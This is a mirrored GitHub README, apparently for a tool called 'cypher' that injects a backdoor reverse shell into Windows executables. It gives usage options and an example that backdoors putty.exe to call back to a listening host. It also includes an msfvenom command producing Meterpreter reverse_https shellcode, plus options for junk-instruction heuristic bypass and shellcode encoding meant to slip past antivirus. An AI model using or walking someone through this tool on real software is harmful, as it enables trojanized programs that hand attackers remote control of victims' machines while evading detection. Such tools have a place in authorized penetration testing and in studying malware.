GithubHelp home page GithubHelp logo

cypher's Introduction

My implementation of automatically adding a backdoor shell to a PE file.

Usage: usage python addShell.py [OPTIONS]
Example: python addShell.py -f ./putty.exe -H 192.168.1.10 -P 443 -p 3 

Options:
  -h, --help        show this help message and exit
  -f FILE           Specify input PE file to backdoor
  -o OUTPUT         Specify output location to save backdoored file.
                      Default=inputFile_evil.exe
  -H HOSTIP         Specify IP Address of listening Host for reverse connection, ex: 192.168.1.10
  -P PORT           Specify listening port number, ex: 4321
  -s SHELLCODE      Specify custom shellcode to use, NOTE: this feature in backdoor mode adds 310 bytes to shellcode size
                      NOTE: must be in "feedbeef" hex format, recommend using the following command to properly format shellcode:
                      msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=443 -f raw | xxd -p | tr -d " "
  -p PAYLOAD        Specify payload.  Default shell_reverse_tcp.  Valid values are:
                      0 - windows/shell_reverse_tcp
                      1 - windows/meterpreter/reverse_http
                      2 - windows/meterpreter/reverse_http +PrependMigrate
                      3 - windows/meterpreter/reverse_https
                      4 - windows/meterpreter/reverse_https +PrependMigrate
  -m MODE           Specify program mode.  Program was designed to backdoor executables, but if you really need to, you can disable normal program execution with the FRONTDOOR mode.
                      Valid values are (Default 0):
                      0 - BACKDOOR
                      1 - FRONTDOOR
  -t TARGETOS       Specify the target Operating System (used for preserving ESP).  Default Win7_64bit.  Valid values are:
                      0 - Win7_32bit
                      1 - Win7_64bit
                      2 - Win8.1_64bit
                      3 - Win10_64bit
  -d OFFSET         Specify the offset distance between shellcode and start of cave.  Recommend increasing this value if PE is crashing after shell. 
                      Default: 4
  -j NUM_JUNK       Specify the number of "Junk" Instructions to use in heuristic bypass routine.  
                      Default 30
  -J NUM_JUNK_ITER  Specify the number of times to iterate over all "Junk" Instructions used in heuristic bypass routine.
                      Default 20,000,000
  -e NUM_ENCODE     Specify number of random operations used to encode the shellcode. 
                      Default: 10, Max: 40

cypher's People

Contributors

xan7r avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.